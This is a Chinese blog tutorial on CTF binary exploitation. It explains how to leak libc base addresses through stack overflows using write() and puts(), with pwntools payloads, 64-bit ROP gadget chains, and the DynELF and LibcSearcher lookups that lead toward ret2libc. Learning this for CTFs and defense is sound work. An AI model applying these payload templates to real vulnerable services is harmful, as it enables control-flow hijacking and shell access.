【PWN学习】如何获取libc基址

本文详细解析了在pwn(程序错误利用)中,如何利用write()和puts()函数泄露got表中函数的实际地址,以获取libc基址。通过构造payload,结合函数调用机制,展示了在32位和64位Linux环境下,如何构造调用链来泄露和计算libc基址。此外,还讨论了在已知和未知libc版本情况下,如何获取函数在libc中的偏移量。
摘要由CSDN通过智能技术生成


在解pwn题的时候,如果程序中没有可以获得shell的函数,通常会通过got表中调用函数来获取libc基址,然后通过libc获取要用的system函数和binsh字符。

使用Write()泄露函数实际地址

  • 头文件: #include <unistd.h>

  • 定义函数:ssize_t write (int fd, const void * buf, size_t count);

  • **函数说明:write()会把参数buf 所指的内存写入count 个字节到参数fd 所指的文件内. 当然, 文件读写位置也会随之移动.**write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。

    • 第一个参数fd=1:标准输出 STDOUT
  • 返回值:如果顺利write()会返回实际写入的字节数. 当有错误发生时则返回-1, 错误代码存入errno 中.

  • Payload:‘a’ * 栈大小 + ebp + write_plt_addr + write执行后的返回地址 + fd + 要泄露的地址 + count

    from pwn import *
    elf = ELF('./elf_file')
    def leak(addr):
        payload = b''
        payload += b'a' * 0x88			 # 栈的大小
        payload += b'a' * 0x4 			 # ebp
        payload += p32(write_plt)    # write地址
        payload += p32(main_addr)    # 返回地址
        payload += p32(1)       # 第一个参数 fd
        payload += p32(addr)    # 第二个参数 buf   通常可以为write_got
        payload += p32(4)       # 第三个参数 size
        conn.sendlineafter(b'Input:\n',payload)
        content = conn.recv()[:4]
        print("%#x -> %s" %(addr, binascii.b2a_hex((content or ''))))
        return content
    
    d = DynELF(leak, elf = elf)
    system_addr = d.lookup('__libc_system', 'libc')
    log.success("system:"+hex(system_addr))
    

使用Puts()泄露函数实际地址

  • 头文件: #include<stdio.h>

  • 定义函数:int puts(const char *string);

  • 函数说明: puts()函数只能够输出字符串,以’\0’来确定字符串的结尾。

  • Payload:

    payload = b''
    payload += b'a' * 0x  			# 栈的大小
    payload += p64(0) 	  			# ebp
    payload += p64(pop_rdi)			# 给puts()函数赋值
    payload += p64(addr)				# leak函数的参数addr  可以为puts_got
    payload += p64(puts_plt)		# puts函数地址
    

为什么利用write()puts()函数来获取libc基址时,要泄露got表中函数的地址?

通过学习GOT和PLT的知识,了解到当函数被调用过之后,GOT表中存放的函数地址就是函数的实际地址。而这个地址是通过以下方式确定的
函 数 的 实 际 地 址 = l i b c 基 址 + 函 数 在 l i b c 中 偏 移 量 函数的实际地址 = libc基址 + 函数在libc中偏移量 =libc+libc
因此利用GOT泄露的函数实际地址,和函数在libc中的偏移量就可以计算出libc的基址。

如何获取函数在libc中的偏移量呢?

这里可能有两种情况,一种是libc已知,一种是libc未知。

libc已知

libc已知的情况,可以通过反编译libc获取地址。如下所示,利用radare分析libc文件,可以获取libc中write的偏移地址是0x000d43c0

[0x000187c0]> afl | grep write
0x00063880   22 406  -> 395  sym._IO_wdo_write
0x000d43c0    5 101          sym.__write

也可以通过pwntools的ELF类,加载libc文件来获取目标函数的偏移地址。

libc= ELF('./libc_32.so.6')

libc_write_offset = libc.sym['write']

libc未知

libc未知的情况下,需要确定libc的版本号。同一个版本的libc对应的函数的实际地址是一样的,因此通过收集所有libc库的实际函数的地址,就利用泄露的函数的实际地址确定libc版本,从而进一步获取libc中函数的偏移地址。

pwn中可以使用LibSearcher库

from LibcSearcher import *

...
# leak是使用write或put进行地址泄露的函数
write = leak(write_got)
libc = LibcSearcher('write', write)
libcbase = write - libc.dump('write')

为什么write和putS在泄露基址的时候是这样构造payload?

根据前面的分析,我们知道我们要泄露的是GOT表的地址,需要利用WRITE和PUTS输出数据的能力。

假设要泄露的是函数func的地址,我们需要构造write(1, func_got_addr, 4)或者puts(func_got_addr)

32位Linux

32位Linux是用栈传递参数的,如果将write(1, func_got_addr, 4)编译成汇编,大概的运行流程如下

push 4
lea rax, [func_got_addr]
push rax
push 1
call write 

我们知道栈是先进后出的,因此在写payload的时候需要将这个过程反过来,就变成了如下所示

payload = padding 	# 栈填充字段 
paylaod += ebp			# callee的ebp
payload += write_plt地址
payload += write运行后返回地址
payload += write的第一个参数_1
payload += write的第二个参数_func_got_addr
payload += write的第三个参数_4

同样的,如果是用puts的话payload只需要传入一个参数

payload = padding 	# 栈填充字段 
paylaod += ebp			# callee的ebp
payload += puts调用地址
payload += puts运行后返回地址
payload += puts的参数_func_got_addr

64位Linux

64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的。

lea rdi, [func_got_addr]
call puts

这里不是使用栈,因此在构造payload的时候需要按顺序构造调用链。我们需要把要泄露的地址func_got_addr放到rdi寄存器中。如何做到呢?我们先来分析学习一下puts的payload

payload = b''
payload += b'a' * 0xN  			# 栈的大小
payload += p64(0) 	  			# ebp
payload += p64(pop_rdi)			# 给puts()函数赋值
payload += p64(addr)				# 要泄露的函数的地址func_got_addr
payload += p64(puts_plt)		# puts函数地址

payload发送后,当执行到预设返回地址时,栈中的情况如下所示

sp ------- 		  | pop_rdi的地址 |
				  | func_got_addr|
				  | puts_plt地址  |

此时程序跳转到pop rdi的位置执行,

pop rdi
ret

而栈指针出栈后,将下移一步。

				  | pop_rdi的地址 |
sp -------        | func_got_addr|
				  | puts_plt地址  |

程序接下来执行pop rdi,将栈指针当前所指弹出,存入rdi中。这样一来,成功将func_got_addr放入了rdi中。执行后sp继续下移一帧,指向了puts_plt地址

				  | pop_rdi的地址 |
				  | func_got_addr|
sp -------        | puts_plt地址  |

下一步,程序将执行ret。ret相当于执行了pop ip,将当前栈指针指向的内存地址的内容存入ip寄存器中。因此puts_plt的地址将被加载到指令寄存器里,等待执行。

到此为止即完成puts(func_got_addr)的调用。

从这里也可以学习到gadget的构造方式,pop reg后紧跟要放入reg中的数据,即可成功给reg赋值。

利用上面学习到的方式,下面尝试构造利用write进行泄露的payload。我们希望构成如下的调用链

mov rdx, 4
lea rsi, [func_got_addr]
mov rdi, 1
call write
payload = padding			# 填充栈
payload += p64(0)			# rbp
payload += p64(pop_rdx) + p64(0x8)
payload += p64(pop_rsi) + p64(func_got_addr)
payload += p64(pop_rdi) + p64(0x1)
payload += p64(write_plt)

当然直接找到下面三个gadget,是一种理想情况

pop rdx; ret
pop rsi; ret
pop rdi; ret

大多数情况找不到这么完美的gadget的,这是就需要使用万能gadget来构造调用链,这部分内容以后再来学习。

pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Morphy_Amo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值